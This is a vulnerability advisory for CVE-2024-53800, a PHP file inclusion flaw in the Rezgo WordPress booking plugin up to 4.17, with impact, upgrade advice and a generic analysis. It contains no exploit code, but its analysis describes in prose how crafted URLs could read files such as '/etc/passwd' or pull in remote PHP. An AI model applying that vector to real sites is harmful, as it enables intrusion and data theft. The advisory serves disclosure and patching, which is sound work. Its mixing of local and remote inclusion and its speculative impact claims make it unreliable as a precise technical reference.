CVE-2024-53800
Overview
This vulnerability is a PHP Local File Inclusion (LFI) issue arising from improper control of filename input used in include or require statements within the Rezgo online booking plugin. The root cause is insufficient validation or sanitization of user-supplied input that determines which files are included by the PHP application. The affected component is the Rezgo plugin for WordPress, specifically versions up to and including 4.17, where the filename parameter can be manipulated to include unintended local files.
Vulnerability Description
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in rezgo Rezgo rezgo allows PHP Local File Inclusion.This issue affects Rezgo: from n/a through <= 4.17.
Impact
An unauthenticated attacker can exploit this vulnerability to read sensitive files on the server, potentially exposing configuration files, credentials, or source code. This can facilitate further attacks such as privilege escalation or remote code execution if critical files are disclosed. No user interaction or authentication is required, making exploitation straightforward. The business impact includes data breaches, loss of confidentiality, and possible full system compromise depending on the files accessed.
Solution
Apply the security update provided by Rezgo by upgrading the plugin to version 4.18 or later, where the Local File Inclusion vulnerability is patched. Refer to the Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/rezgo/vulnerability/wordpress-rezgo-online-booking-plugin-4-15-local-file-inclusion-vulnerability?_s_id=cve for detailed patch instructions. No additional workarounds are documented; timely plugin updates are essential to remediate this issue.

Full Analysis
The vulnerability in the Rezgo online booking system arises from improper control of filenames during include or require statements in PHP. This flaw allows an attacker to manipulate the input to include arbitrary files from the server or even remote locations. The core issue lies in the application's failure to adequately sanitize user-supplied data, which can lead to local file inclusion (LFI) or remote file inclusion (RFI). By exploiting this vulnerability, an attacker can gain access to sensitive files on the server, potentially exposing configuration files, passwords, or other critical data that could facilitate further attacks or unauthorized access to the system.
Attack vectors for this vulnerability are varied and can be executed through simple HTTP requests. An attacker can craft a malicious URL that targets the vulnerable parameters in the Rezgo application, leading to the inclusion of files that should not be accessible. For instance, by manipulating the input to point to sensitive files like "/etc/passwd" or injecting PHP code from a remote server, the attacker can execute arbitrary code on the server. This exploitation can be particularly damaging if the application runs with elevated privileges, allowing the attacker to perform actions that could compromise the entire server environment or pivot to other systems within the network.
The real-world impact of this vulnerability can be significant, especially for businesses relying on the Rezgo platform for their online booking services. The potential for data breaches is high, as attackers could access sensitive customer information, including payment details and personal data. Furthermore, the exploitation of this vulnerability could lead to reputational damage, loss of customer trust, and potential legal ramifications if sensitive data is compromised. Businesses may also face financial losses due to downtime or the costs associated with incident response and remediation efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and rectify improper input handling in the application. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application. Furthermore, developers should adhere to secure coding practices, such as validating and sanitizing user inputs, using whitelists for file inclusions, and configuring the server to disable the execution of scripts in directories where user-uploaded files are stored. Keeping the Rezgo application and its dependencies up to date is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the vulnerability present in the Rezgo online booking system poses a serious threat to both the application and its users. By understanding the technical details, potential attack vectors, and the real-world implications of exploitation, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies is essential to safeguarding sensitive data and maintaining the integrity of the online booking services provided by Rezgo.
